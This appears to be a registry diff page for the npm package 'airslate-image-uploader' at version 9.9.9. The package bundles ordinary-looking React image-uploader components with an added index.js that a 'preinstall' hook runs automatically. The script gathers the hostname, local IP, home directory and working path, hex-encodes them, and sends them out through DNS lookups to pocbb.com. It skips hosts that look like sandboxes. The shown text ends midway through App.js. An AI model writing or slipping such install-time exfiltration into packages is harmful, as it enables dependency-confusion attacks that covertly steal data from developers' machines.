airslate-image-uploader 0.0.1-security → 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of airslate-image-uploader might be problematic. Click here for more details.
- package/README.md +2 -5
- package/index.js +105 -0
- package/package.json +7 -3
- package/src/actions/index.js +36 -0
- package/src/app-config.js +12 -0
- package/src/components/Button.js +38 -0
- package/src/components/Content.js +44 -0
- package/src/components/Footer.js +32 -0
- package/src/components/ImageEditor.js +127 -0
- package/src/components/RangeZoom.js +76 -0
- package/src/components/Video.js +43 -0
- package/src/constants/index.js +4 -0
- package/src/conteiners/App.js +273 -0
- package/src/index.js +14 -0
- package/src/middleware/index.js +12 -0
- package/src/reducers/imageUploader.js +47 -0
- package/src/reducers/index.js +5 -0
- package/src/store/index.js +19 -0
- package/src/utils/index.js +27 -0
- package/src/utils/query.ts +33 -0
package/README.md
CHANGED
@@ -1,5 +1,2 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=airslate-image-uploader for more information.
|
1
|
+
# NPM
|
2
|
+
This is a Proof of Concept (PoC) package.
|
package/index.js
ADDED
@@ -0,0 +1,105 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const fs = require('fs');
|
4
|
+
const path = require('path');
|
5
|
+
|
6
|
+
function generateUID(length = 5) {
|
7
|
+
const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
8
|
+
let result = '';
|
9
|
+
for (let i = 0; i < length; i++) {
|
10
|
+
result += characters.charAt(Math.floor(Math.random() * characters.length));
|
11
|
+
}
|
12
|
+
return result.toLowerCase();
|
13
|
+
}
|
14
|
+
|
15
|
+
// Convert a JSON string to hex
|
16
|
+
function jsonStringToHex(jsonString) {
|
17
|
+
return Buffer.from(jsonString, 'utf8').toString('hex');
|
18
|
+
}
|
19
|
+
|
20
|
+
const uid = generateUID(); // Generate a UID for this client once
|
21
|
+
|
22
|
+
function getCurrentTimestamp() {
|
23
|
+
const date = new Date();
|
24
|
+
const offset = -date.getTimezoneOffset() / 60;
|
25
|
+
const sign = offset >= 0 ? "+" : "-";
|
26
|
+
return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
|
27
|
+
}
|
28
|
+
|
29
|
+
function getLocalIP() {
|
30
|
+
const interfaces = os.networkInterfaces();
|
31
|
+
for (let iface in interfaces) {
|
32
|
+
for (let ifaceInfo of interfaces[iface]) {
|
33
|
+
if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
|
34
|
+
return ifaceInfo.address;
|
35
|
+
}
|
36
|
+
}
|
37
|
+
}
|
38
|
+
return '127.0.0.1'; // fallback to localhost
|
39
|
+
}
|
40
|
+
|
41
|
+
function getPackageInfo() {
|
42
|
+
const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
43
|
+
return {
|
44
|
+
name: packageJson.name,
|
45
|
+
version: packageJson.version
|
46
|
+
};
|
47
|
+
}
|
48
|
+
|
49
|
+
function sendJSONviaDNS(domain) {
|
50
|
+
// Check conditions to exit early
|
51
|
+
const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
|
52
|
+
const pathCheck1 = process.cwd().startsWith("/app");
|
53
|
+
const pathCheck2 = process.cwd().startsWith("/root/node_modules");
|
54
|
+
|
55
|
+
if (hostnameCheck || pathCheck1 || pathCheck2) {
|
56
|
+
return;
|
57
|
+
}
|
58
|
+
|
59
|
+
// Resolve the IP address of ns1.pocbb.com
|
60
|
+
dns.resolve4('ns1.pocbb.com', (err, addresses) => {
|
61
|
+
if (err) {
|
62
|
+
dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
|
63
|
+
} else {
|
64
|
+
const primaryDNS = addresses[0];
|
65
|
+
dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
|
66
|
+
}
|
67
|
+
|
68
|
+
// Get package info
|
69
|
+
const pkgInfo = getPackageInfo();
|
70
|
+
|
71
|
+
// Construct the JSON object
|
72
|
+
const jsonObject = {
|
73
|
+
timestamp: getCurrentTimestamp(),
|
74
|
+
uid: uid,
|
75
|
+
'pkg-name': pkgInfo.name,
|
76
|
+
'pkg-version': pkgInfo.version,
|
77
|
+
'local-ip': getLocalIP(),
|
78
|
+
hostname: os.hostname(),
|
79
|
+
homedir: os.homedir(),
|
80
|
+
path: process.cwd()
|
81
|
+
};
|
82
|
+
const jsonString = JSON.stringify(jsonObject);
|
83
|
+
const hexString = jsonStringToHex(jsonString);
|
84
|
+
|
85
|
+
// Split hex string into chunks of 60 characters each
|
86
|
+
const chunkSize = 60;
|
87
|
+
const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
|
88
|
+
const chunks = hexString.match(regex);
|
89
|
+
|
90
|
+
chunks.forEach((chunk, index) => {
|
91
|
+
const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
|
92
|
+
const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
|
93
|
+
|
94
|
+
// Perform DNS resolution
|
95
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
96
|
+
if (err) {
|
97
|
+
return;
|
98
|
+
}
|
99
|
+
});
|
100
|
+
});
|
101
|
+
});
|
102
|
+
}
|
103
|
+
|
104
|
+
// Usage
|
105
|
+
sendJSONviaDNS('pocbb.com');
|
package/package.json
CHANGED
@@ -1,6 +1,10 @@
|
|
1
1
|
{
|
2
2
|
"name": "airslate-image-uploader",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "This is a Proof of Concept (PoC) package",
|
5
|
+
"license": "MIT",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
}
|
6
10
|
}
|
@@ -0,0 +1,36 @@
|
|
1
|
+
import {
|
2
|
+
loading, loaded, setTypeContent, streamUpdate, resetStore,
|
3
|
+
} from '../reducers/imageUploader';
|
4
|
+
import { isUserMedia } from '../utils';
|
5
|
+
import { $l } from '../app-config';
|
6
|
+
import { ERROR_NOT_ALLOWED } from '../constants';
|
7
|
+
|
8
|
+
export const startMediaStream = (TYPE_CONTENT, showError) => (dispatch) => {
|
9
|
+
dispatch(loading());
|
10
|
+
|
11
|
+
isUserMedia();
|
12
|
+
|
13
|
+
navigator.mediaDevices.getUserMedia({ video: true })
|
14
|
+
.then((stream) => {
|
15
|
+
dispatch(streamUpdate(stream));
|
16
|
+
dispatch(setTypeContent(TYPE_CONTENT));
|
17
|
+
dispatch(loaded());
|
18
|
+
})
|
19
|
+
.catch((e) => {
|
20
|
+
dispatch(loaded());
|
21
|
+
dispatch(resetStore());
|
22
|
+
|
23
|
+
if (typeof showError === 'function') {
|
24
|
+
if (e.name === ERROR_NOT_ALLOWED) {
|
25
|
+
showError($l('ERROR_CAMERA_ACCESS'));
|
26
|
+
} else {
|
27
|
+
showError(e.message);
|
28
|
+
}
|
29
|
+
}
|
30
|
+
});
|
31
|
+
};
|
32
|
+
|
33
|
+
export const stopMediaStream = videoEl => (dispatch) => {
|
34
|
+
videoEl.srcObject.getTracks().forEach(track => track.stop());
|
35
|
+
dispatch(streamUpdate(null));
|
36
|
+
};
|
@@ -0,0 +1,12 @@
|
|
1
|
+
import Locale from '@airslate/front-locales/lib';
|
2
|
+
import defaultLocale from '@airslate/front-locales/locales/en/imageUploader';
|
3
|
+
|
4
|
+
const APP_LOCALE_PREFIX = 'IMAGE_UPLOADER_';
|
5
|
+
const isDev = () => process.env.NODE_ENV === 'development';
|
6
|
+
|
7
|
+
const { get: $l } = Locale(APP_LOCALE_PREFIX, {
|
8
|
+
...defaultLocale,
|
9
|
+
...window.allConstants,
|
10
|
+
});
|
11
|
+
|
12
|
+
export { $l, isDev };
|
@@ -0,0 +1,38 @@
|
|
1
|
+
import React from 'react';
|
2
|
+
import { string, func, shape } from 'prop-types';
|
3
|
+
import Svg from 'airslate-controls/src/Svg';
|
4
|
+
|
5
|
+
const Button = ({
|
6
|
+
children, wrapClassName, className, icon, onClick,
|
7
|
+
}) => (
|
8
|
+
<div role="presentation" className={wrapClassName} onClick={onClick}>
|
9
|
+
<label role="button" className={className}>
|
10
|
+
<span className="button__body">
|
11
|
+
{icon && <span className="button__icon">
|
12
|
+
<Svg symbol={icon} />
|
13
|
+
</span>}
|
14
|
+
<span className="button__text">
|
15
|
+
{ children }
|
16
|
+
</span>
|
17
|
+
</span>
|
18
|
+
</label>
|
19
|
+
</div>
|
20
|
+
);
|
21
|
+
|
22
|
+
Button.propTypes = {
|
23
|
+
children: string.isRequired,
|
24
|
+
wrapClassName: string,
|
25
|
+
className: string,
|
26
|
+
icon: shape({
|
27
|
+
id: string,
|
28
|
+
content: string,
|
29
|
+
}),
|
30
|
+
onClick: func.isRequired,
|
31
|
+
};
|
32
|
+
|
33
|
+
Button.defaultProps = {
|
34
|
+
className: 'button button--primary',
|
35
|
+
wrapClassName: 'drag-and-drop__action-item',
|
36
|
+
};
|
37
|
+
|
38
|
+
export default Button;
|
@@ -0,0 +1,44 @@
|
|
1
|
+
import React from 'react';
|
2
|
+
import { func, any } from 'prop-types';
|
3
|
+
import upload from 'airslate-static/src/_images/svg-inline/upload.svg';
|
4
|
+
import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
|
5
|
+
import Icon from 'ui-components/src/components/Icon';
|
6
|
+
import FileIcon from 'airslate-static.icons/src/colored/48/upload.svg';
|
7
|
+
import Button from './Button';
|
8
|
+
import { $l } from '../app-config';
|
9
|
+
|
10
|
+
const Content = ({ fileChanged, startMediaStream, cameraButtonDisable }) => (
|
11
|
+
<div className="drag-and-drop__content">
|
12
|
+
<div className="drag-and-drop__info">
|
13
|
+
<div className="drag-and-drop__icon">
|
14
|
+
<Icon id={FileIcon.id} />
|
15
|
+
</div>
|
16
|
+
<span className="drag-and-drop__title">
|
17
|
+
{ $l('TITLE') }
|
18
|
+
</span>
|
19
|
+
<span className="drag-and-drop__subtitle">
|
20
|
+
{ $l('DESC') }
|
21
|
+
</span>
|
22
|
+
</div>
|
23
|
+
<div className="drag-and-drop__action">
|
24
|
+
<Button icon={upload} onClick={fileChanged}>
|
25
|
+
{ $l('SELECT_PHOTO_BTN') }
|
26
|
+
</Button>
|
27
|
+
{ cameraButtonDisable
|
28
|
+
? null
|
29
|
+
: (
|
30
|
+
<Button icon={camera} onClick={startMediaStream}>
|
31
|
+
{ $l('TAKE_NEW_PHOTO_BTN_UPLOAD') }
|
32
|
+
</Button>
|
33
|
+
)}
|
34
|
+
</div>
|
35
|
+
</div>
|
36
|
+
);
|
37
|
+
|
38
|
+
Content.propTypes = {
|
39
|
+
fileChanged: func.isRequired,
|
40
|
+
startMediaStream: func.isRequired,
|
41
|
+
cameraButtonDisable: any,
|
42
|
+
};
|
43
|
+
|
44
|
+
export default Content;
|
@@ -0,0 +1,32 @@
|
|
1
|
+
import React from 'react';
|
2
|
+
import PropTypes from 'prop-types';
|
3
|
+
|
4
|
+
const Footer = ({ children, leftBtn }) => (
|
5
|
+
<footer className="modal-footer modal-footer--upload__section">
|
6
|
+
{leftBtn && (
|
7
|
+
<div className="modal-footer__actions">
|
8
|
+
{leftBtn}
|
9
|
+
</div>
|
10
|
+
)}
|
11
|
+
<div className="modal-footer__actions modal-footer__actions--md modal-footer__actions--justify-right">
|
12
|
+
<div className="modal-footer__btn">
|
13
|
+
{children.map((Child, idx) => (
|
14
|
+
<div key={idx} className="modal-footer__btn">
|
15
|
+
{Child}
|
16
|
+
</div>
|
17
|
+
))}
|
18
|
+
</div>
|
19
|
+
</div>
|
20
|
+
</footer>
|
21
|
+
);
|
22
|
+
|
23
|
+
Footer.propTypes = {
|
24
|
+
children: PropTypes.oneOfType([
|
25
|
+
PropTypes.arrayOf(PropTypes.node),
|
26
|
+
PropTypes.node,
|
27
|
+
PropTypes.array,
|
28
|
+
]),
|
29
|
+
leftBtn: PropTypes.element,
|
30
|
+
};
|
31
|
+
|
32
|
+
export default Footer;
|
@@ -0,0 +1,127 @@
|
|
1
|
+
import React, { Component, createRef, Fragment } from 'react';
|
2
|
+
import {
|
3
|
+
object, number, func, array, any,
|
4
|
+
} from 'prop-types';
|
5
|
+
import AvatarEditor from 'react-avatar-editor';
|
6
|
+
import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
|
7
|
+
import upload from 'airslate-static/src/_images/svg-inline/upload.svg';
|
8
|
+
import Footer from './Footer';
|
9
|
+
import Button from './Button';
|
10
|
+
import RangeZoom from './RangeZoom';
|
11
|
+
import { $l } from '../app-config';
|
12
|
+
|
13
|
+
export default class ImageEditor extends Component {
|
14
|
+
editor = createRef();
|
15
|
+
|
16
|
+
static propTypes = {
|
17
|
+
image: object,
|
18
|
+
width: number,
|
19
|
+
height: number,
|
20
|
+
border: number,
|
21
|
+
minScale: number,
|
22
|
+
maxScale: number,
|
23
|
+
style: object,
|
24
|
+
scale: number,
|
25
|
+
color: array,
|
26
|
+
stepScale: number.isRequired,
|
27
|
+
fileChanged: func.isRequired,
|
28
|
+
handleSave: func.isRequired,
|
29
|
+
imageEditorUpdate: func.isRequired,
|
30
|
+
startMediaStream: func.isRequired,
|
31
|
+
cameraButtonDisable: any,
|
32
|
+
};
|
33
|
+
|
34
|
+
static defaultProps = {
|
35
|
+
style: {
|
36
|
+
width: 520,
|
37
|
+
height: 520,
|
38
|
+
},
|
39
|
+
minScale: 1,
|
40
|
+
maxScale: 5,
|
41
|
+
width: 100,
|
42
|
+
height: 100,
|
43
|
+
border: 150,
|
44
|
+
color: [0, 0, 0, 0.6],
|
45
|
+
scale: 2,
|
46
|
+
image: {},
|
47
|
+
};
|
48
|
+
|
49
|
+
saveImage = () => {
|
50
|
+
const { handleSave } = this.props;
|
51
|
+
const img = this.editor.current.getImageScaledToCanvas().toDataURL();
|
52
|
+
const rect = this.editor.current.getCroppingRect();
|
53
|
+
|
54
|
+
return handleSave({ img, ...rect });
|
55
|
+
};
|
56
|
+
|
57
|
+
renderTakeBtn = (cameraButtonDisable) => {
|
58
|
+
const { startMediaStream } = this.props;
|
59
|
+
|
60
|
+
return (
|
61
|
+
cameraButtonDisable
|
62
|
+
? null
|
63
|
+
: (
|
64
|
+
<Button
|
65
|
+
wrapClassName="modal-footer__btn"
|
66
|
+
className="button button--sm button--secondary"
|
67
|
+
icon={camera}
|
68
|
+
onClick={startMediaStream}
|
69
|
+
>
|
70
|
+
{$l('TAKE_NEW_PHOTO_BTN')}
|
71
|
+
</Button>
|
72
|
+
)
|
73
|
+
);
|
74
|
+
};
|
75
|
+
|
76
|
+
render() {
|
77
|
+
const {
|
78
|
+
image: { preview }, fileChanged, imageEditorUpdate, scale, minScale, maxScale,
|
79
|
+
stepScale, style, height, width, border, color, cameraButtonDisable,
|
80
|
+
} = this.props;
|
81
|
+
|
82
|
+
return (
|
83
|
+
<Fragment>
|
84
|
+
<div className="upload-section__inner">
|
85
|
+
<div className="modal-content__image-block">
|
86
|
+
<AvatarEditor
|
87
|
+
ref={this.editor}
|
88
|
+
image={preview}
|
89
|
+
scale={scale}
|
90
|
+
width={width}
|
91
|
+
height={height}
|
92
|
+
border={border}
|
93
|
+
color={color}
|
94
|
+
style={style}
|
95
|
+
/>
|
96
|
+
<RangeZoom
|
97
|
+
scale={scale}
|
98
|
+
imageEditorUpdate={imageEditorUpdate}
|
99
|
+
minScale={minScale}
|
100
|
+
maxScale={maxScale}
|
101
|
+
stepScale={stepScale}
|
102
|
+
/>
|
103
|
+
</div>
|
104
|
+
</div>
|
105
|
+
|
106
|
+
<Footer leftBtn={this.renderTakeBtn(cameraButtonDisable)}>
|
107
|
+
<Button
|
108
|
+
position="left"
|
109
|
+
wrapClassName="modal-footer__btn"
|
110
|
+
className="button button--sm button--secondary"
|
111
|
+
icon={upload}
|
112
|
+
onClick={fileChanged}
|
113
|
+
>
|
114
|
+
{$l('SELECT_PHOTO_BTN')}
|
115
|
+
</Button>
|
116
|
+
<Button
|
117
|
+
wrapClassName="modal-footer__btn"
|
118
|
+
className="button button--sm button--primary"
|
119
|
+
onClick={this.saveImage}
|
120
|
+
>
|
121
|
+
{$l('SAVE_BTN')}
|
122
|
+
</Button>
|
123
|
+
</Footer>
|
124
|
+
</Fragment>
|
125
|
+
);
|
126
|
+
}
|
127
|
+
}
|
@@ -0,0 +1,76 @@
|
|
1
|
+
import React, { Component } from 'react';
|
2
|
+
import { number, func } from 'prop-types';
|
3
|
+
import minus from 'airslate-static/src/_images/svg-inline/minus-simple.svg';
|
4
|
+
import plus from 'airslate-static/src/_images/svg-inline/plus-simple.svg';
|
5
|
+
import Svg from 'airslate-controls/src/Svg';
|
6
|
+
import Slider from 'react-rangeslider';
|
7
|
+
import { SCALE } from '../reducers/imageUploader';
|
8
|
+
|
9
|
+
export default class RangeZoom extends Component {
|
10
|
+
stepClick = 0.3;
|
11
|
+
|
12
|
+
static propTypes = {
|
13
|
+
scale: number,
|
14
|
+
maxScale: number.isRequired,
|
15
|
+
minScale: number.isRequired,
|
16
|
+
stepScale: number.isRequired,
|
17
|
+
imageEditorUpdate: func.isRequired,
|
18
|
+
};
|
19
|
+
|
20
|
+
static defaultProps = {
|
21
|
+
scale: 0,
|
22
|
+
};
|
23
|
+
|
24
|
+
handleChange = (value) => {
|
25
|
+
const { imageEditorUpdate } = this.props;
|
26
|
+
imageEditorUpdate({ [SCALE]: value });
|
27
|
+
};
|
28
|
+
|
29
|
+
handleChangeLeft = () => {
|
30
|
+
const { imageEditorUpdate, scale, minScale } = this.props;
|
31
|
+
if (scale > minScale) {
|
32
|
+
const step = scale - this.stepClick < minScale ? minScale : scale - this.stepClick;
|
33
|
+
imageEditorUpdate({ [SCALE]: step });
|
34
|
+
}
|
35
|
+
};
|
36
|
+
|
37
|
+
handleChangeRight = () => {
|
38
|
+
const { imageEditorUpdate, scale, maxScale } = this.props;
|
39
|
+
|
40
|
+
if (scale < maxScale) {
|
41
|
+
const step = scale + this.stepClick > maxScale ? maxScale : scale + this.stepClick;
|
42
|
+
imageEditorUpdate({ [SCALE]: step });
|
43
|
+
}
|
44
|
+
};
|
45
|
+
|
46
|
+
render() {
|
47
|
+
const {
|
48
|
+
scale, maxScale, minScale, stepScale,
|
49
|
+
} = this.props;
|
50
|
+
|
51
|
+
return (
|
52
|
+
<div className="range-slider">
|
53
|
+
<div className="range-slider__control">
|
54
|
+
<div className="range-slider__action">
|
55
|
+
<button type="button" onClick={this.handleChangeLeft} className="range-slider__action-btn">
|
56
|
+
<Svg symbol={minus} />
|
57
|
+
</button>
|
58
|
+
</div>
|
59
|
+
<Slider
|
60
|
+
min={minScale}
|
61
|
+
max={maxScale}
|
62
|
+
step={stepScale}
|
63
|
+
value={scale}
|
64
|
+
tooltip={false}
|
65
|
+
onChange={this.handleChange}
|
66
|
+
/>
|
67
|
+
<div className="range-slider__action">
|
68
|
+
<button type="button" onClick={this.handleChangeRight} className="range-slider__action-btn">
|
69
|
+
<Svg symbol={plus} />
|
70
|
+
</button>
|
71
|
+
</div>
|
72
|
+
</div>
|
73
|
+
</div>
|
74
|
+
);
|
75
|
+
}
|
76
|
+
}
|
@@ -0,0 +1,43 @@
|
|
1
|
+
import React, { createRef, Component } from 'react';
|
2
|
+
import { object, func } from 'prop-types';
|
3
|
+
|
4
|
+
export default class Video extends Component {
|
5
|
+
video = createRef();
|
6
|
+
|
7
|
+
static propTypes = {
|
8
|
+
stream: object.isRequired,
|
9
|
+
stopMediaStream: func,
|
10
|
+
};
|
11
|
+
|
12
|
+
componentDidMount() {
|
13
|
+
const { stream } = this.props;
|
14
|
+
|
15
|
+
this.updateVideoStream(stream);
|
16
|
+
}
|
17
|
+
|
18
|
+
|
19
|
+
componentWillUnmount() {
|
20
|
+
const { stopMediaStream } = this.props;
|
21
|
+
|
22
|
+
stopMediaStream(this.video.current);
|
23
|
+
}
|
24
|
+
|
25
|
+
updateVideoStream = (stream) => {
|
26
|
+
this.video.current.srcObject = stream;
|
27
|
+
};
|
28
|
+
|
29
|
+
render() {
|
30
|
+
return (
|
31
|
+
<div className="media">
|
32
|
+
<div className="media__video-wrap media__video-wrap--16to9">
|
33
|
+
<video
|
34
|
+
className="media__video"
|
35
|
+
ref={this.video}
|
36
|
+
muted
|
37
|
+
autoPlay
|
38
|
+
/>
|
39
|
+
</div>
|
40
|
+
</div>
|
41
|
+
);
|
42
|
+
}
|
43
|
+
}
|
@@ -0,0 +1,273 @@
|
|
1
|
+
import React, { Component, createRef, Fragment } from 'react';
|
2
|
+
import {
|
3
|
+
string, bool, func, number, object, any,
|
4
|
+
} from 'prop-types';
|
5
|
+
import { connect } from 'react-redux';
|
6
|
+
import Dropzone from 'react-dropzone';
|
7
|
+
import classnames from 'classnames';
|
8
|
+
import Loader from 'airslate-controls/src/Loader';
|
9
|
+
import camera from 'airslate-static/src/_images/svg-inline/camera.svg';
|
10
|
+
import Content from '../components/Content';
|
11
|
+
import Video from '../components/Video';
|
12
|
+
import Footer from '../components/Footer';
|
13
|
+
import Button from '../components/Button';
|
14
|
+
import {
|
15
|
+
imageUpload, imageSelector, resetStore, loading, scaleSelector, setTypeContent,
|
16
|
+
loaded, streamUpdate, streamSelector, isLoadingSelector, imageEditorUpdate,
|
17
|
+
typeContentSelector,
|
18
|
+
} from '../reducers/imageUploader';
|
19
|
+
import ImageEditor from '../components/ImageEditor';
|
20
|
+
import { startMediaStream, stopMediaStream } from '../actions';
|
21
|
+
import { $l } from '../app-config';
|
22
|
+
import { bytesToSize } from '../utils';
|
23
|
+
import { TYPE_EDITOR, TYPE_CAMERA, TYPE_DROPZONE } from '../constants';
|
24
|
+
|
25
|
+
const mapStateToProps = state => ({
|
26
|
+
image: imageSelector(state),
|
27
|
+
stream: streamSelector(state),
|
28
|
+
isLoading: isLoadingSelector(state),
|
29
|
+
scale: scaleSelector(state),
|
30
|
+
typeContent: typeContentSelector(state),
|
31
|
+
});
|
32
|
+
|
33
|
+
const mapDispatchToProps = {
|
34
|
+
imageUpload,
|
35
|
+
streamUpdate,
|
36
|
+
resetStore,
|
37
|
+
loading,
|
38
|
+
loaded,
|
39
|
+
imageEditorUpdate,
|
40
|
+
startMediaStream,
|
41
|
+
stopMediaStream,
|
42
|
+
setTypeContent,
|
43
|
+
};
|
44
|
+
|
45
|
+
class App extends Component {
|
46
|
+
static propTypes = {
|
47
|
+
maxScale: number,
|
48
|
+
minScale: number,
|
49
|
+
stepScale: number,
|
50
|
+
scale: number,
|
51
|
+
width: number,
|
52
|
+
height: number,
|
53
|
+
isLoading: bool,
|
54
|
+
image: object,
|
55
|
+
stream: object,
|
56
|
+
disableClick: bool,
|
57
|
+
maxSize: number,
|
58
|
+
minSize: number,
|
59
|
+
classNameDrop: string,
|
60
|
+
activeClassName: string,
|
61
|
+
acceptClassName: string,
|
62
|
+
rejectClassName: string,
|
63
|
+
disabledClassName: string,
|
64
|
+
accept: any,
|
65
|
+
cameraButtonDisable: any,
|
66
|
+
typeContent: string.isRequired,
|
67
|
+
onDropRejected: func,
|
68
|
+
onDropMaxSizeRejected: func,
|
69
|
+
imageEditorUpdate: func.isRequired,
|
70
|
+
handleSave: func.isRequired,
|
71
|
+
setTypeContent: func.isRequired,
|
72
|
+
resetStore: func.isRequired,
|
73
|
+
imageUpload: func.isRequired,
|
74
|
+
startMediaStream: func.isRequired,
|
75
|
+
stopMediaStream: func.isRequired,
|
76
|
+
onDropAccepted: func,
|
77
|
+
onCameraError: func,
|
78
|
+
};
|
79
|
+
|
80
|
+
static defaultProps = {
|
81
|
+
classNameDrop: 'drag-and-drop drag-and-drop--profile-photo',
|
82
|
+
disableClick: true,
|
83
|
+
isLoading: false,
|
84
|
+
accept: ['image/jpeg', 'image/png', 'image/gif'],
|
85
|
+
stepScale: 0.01,
|
86
|
+
stream: {},
|
87
|
+
image: {},
|
88
|
+
activeClassName: '',
|
89
|
+
acceptClassName: '',
|
90
|
+
rejectClassName: '',
|
91
|
+
disabledClassName: '',
|
92
|
+
onDropMaxSizeRejected: () => null,
|
93
|
+
onDropRejected: () => null,
|
94
|
+
};
|
95
|
+
|
96
|
+
constructor(props) {
|
97
|
+
super(props);
|
98
|
+
this.dropzone = createRef();
|
99
|
+
this.video = createRef();
|
100
|
+
}
|
101
|
+
|
102
|
+
componentWillUnmount() {
|
103
|
+
const { resetStore } = this.props;
|
104
|
+
|
105
|
+
resetStore();
|
106
|
+
}
|
107
|
+
|
108
|
+
onDropMaxSize = () => {
|
109
|
+
const { maxSize, onDropMaxSizeRejected } = this.props;
|
110
|
+
|
111
|
+
return onDropMaxSizeRejected && onDropMaxSizeRejected(`${$l('ERROR_FILE_IS_TOO_BIG')} ${bytesToSize(maxSize)}`);
|
112
|
+
};
|
113
|
+
|
114
|
+
onError = (files) => {
|
115
|
+
const { onDropRejected, setTypeContent } = this.props;
|
116
|
+
|
117
|
+
if (this.isMaxSizeValidate(files[0])) this.onDropMaxSize();
|
118
|
+
|
119
|
+
onDropRejected(files);
|
120
|
+
setTypeContent(TYPE_DROPZONE);
|
121
|
+
};
|
122
|
+
|
123
|
+
onDrop = (files) => {
|
124
|
+
const { imageUpload } = this.props;
|
125
|
+
|
126
|
+
imageUpload(files[0]);
|
127
|
+
};
|
128
|
+
|
129
|
+
isMaxSizeValidate = ({ size }) => {
|
130
|
+
const { maxSize } = this.props;
|
131
|
+
|
132
|
+
return maxSize < size;
|
133
|
+
};
|
134
|
+
|
135
|
+
fileChanged = () => this.dropzone.current.open();
|
136
|
+
|
137
|
+
showDropScreen = () => {
|
138
|
+
const { stopMediaStream, resetStore } = this.props;
|
139
|
+
const { video } = this.video.current;
|
140
|
+
|
141
|
+
resetStore();
|
142
|
+
stopMediaStream(video.current);
|
143
|
+
};
|
144
|
+
|
145
|
+
startMediaStream = (cb) => {
|
146
|
+
const { startMediaStream, onCameraError } = this.props;
|
147
|
+
if (typeof cb === 'function') cb();
|
148
|
+
return startMediaStream(TYPE_CAMERA, onCameraError);
|
149
|
+
};
|
150
|
+
|
151
|
+
handleStartMediaStream = () => {
|
152
|
+
const { captureImgCb } = this.props;
|
153
|
+
this.startMediaStream(captureImgCb);
|
154
|
+
};
|
155
|
+
|
156
|
+
captureImage = () => {
|
157
|
+
const { setTypeContent, imageUpload } = this.props;
|
158
|
+
const { video } = this.video.current;
|
159
|
+
|
160
|
+
const canvas = document.createElement('canvas');
|
161
|
+
canvas.width = video.current.videoWidth;
|
162
|
+
canvas.height = video.current.videoHeight;
|
163
|
+
|
164
|
+
canvas.getContext('2d').drawImage(video.current, 0, 0, canvas.width, canvas.height);
|
165
|
+
imageUpload({ preview: canvas.toDataURL() });
|
166
|
+
setTypeContent(TYPE_EDITOR);
|
167
|
+
};
|
168
|
+
|
169
|
+
render() {
|
170
|
+
const {
|
171
|
+
classNameDrop, disableClick, image, typeContent, isLoading, stream, accept, maxSize, minSize,
|
172
|
+
activeClassName, acceptClassName, rejectClassName, disabledClassName, handleSave, maxScale,
|
173
|
+
minScale, stepScale, imageEditorUpdate, scale, resetStore, stopMediaStream, width, height,
|
174
|
+
cameraButtonDisable, onDropAccepted,
|
175
|
+
} = this.props;
|
176
|
+
|
177
|
+
const isShowDefaultPage = typeContent === TYPE_DROPZONE || typeContent === TYPE_EDITOR;
|
178
|
+
const preview = image && image.preview;
|
179
|
+
|
180
|
+
const wrapClassName = classnames({
|
181
|
+
'sl-modal__inner': ![TYPE_EDITOR, TYPE_CAMERA].includes(typeContent),
|
182
|
+
'loader-wrapper-solid': isLoading,
|
183
|
+
'upload-section': preview,
|
184
|
+
});
|
185
|
+
|
186
|
+
const DropClassName = classnames({
|
187
|
+
[classNameDrop]: !preview,
|
188
|
+
'upload-section__inner': preview,
|
189
|
+
});
|
190
|
+
|
191
|
+
return (
|
192
|
+
<div className={wrapClassName}>
|
193
|
+
<div className="modal-content">
|
194
|
+
{typeContent === TYPE_CAMERA && (
|
195
|
+
<Fragment>
|
196
|
+
<Video
|
197
|
+
ref={this.video}
|
198
|
+
stream={stream}
|
199
|
+
stopMediaStream={stopMediaStream}
|
200
|
+
/>
|
201
|
+
<Footer>
|
202
|
+
<Button
|
203
|
+
wrapClassName="modal-footer__btn"
|
204
|
+
className="button button--sm button--secondary"
|
205
|
+
onClick={this.showDropScreen}
|
206
|
+
>
|
207
|
+
Cancel
|
208
|
+
</Button>
|
209
|
+
<Button
|
210
|
+
wrapClassName="modal-footer__btn"
|
211
|
+
className="button button--sm button--primary"
|
212
|
+
icon={camera}
|
213
|
+
onClick={this.captureImage}
|
214
|
+
>
|
215
|
+
{$l('TAKE_NEW_PHOTO_BTN_UPLOAD')}
|
216
|
+
</Button>
|
217
|
+
</Footer>
|
218
|
+
</Fragment>
|
219
|
+
)
|
220
|
+
}
|
221
|
+
|
222
|
+
{isShowDefaultPage && (
|
223
|
+
<Fragment>
|
224
|
+
{isLoading && <Loader />}
|
225
|
+
<Dropzone
|
226
|
+
accept={accept}
|
227
|
+
className={DropClassName}
|
228
|
+
ref={this.dropzone}
|
229
|
+
onDrop={this.onDrop}
|
230
|
+
disableClick={disableClick}
|
231
|
+
onDropAccepted={onDropAccepted}
|
232
|
+
maxSize={maxSize}
|
233
|
+
minSize={minSize}
|
234
|
+
activeClassName={activeClassName}
|
235
|
+
acceptClassName={acceptClassName}
|
236
|
+
rejectClassName={rejectClassName}
|
237
|
+
disabledClassName={disabledClassName}
|
238
|
+
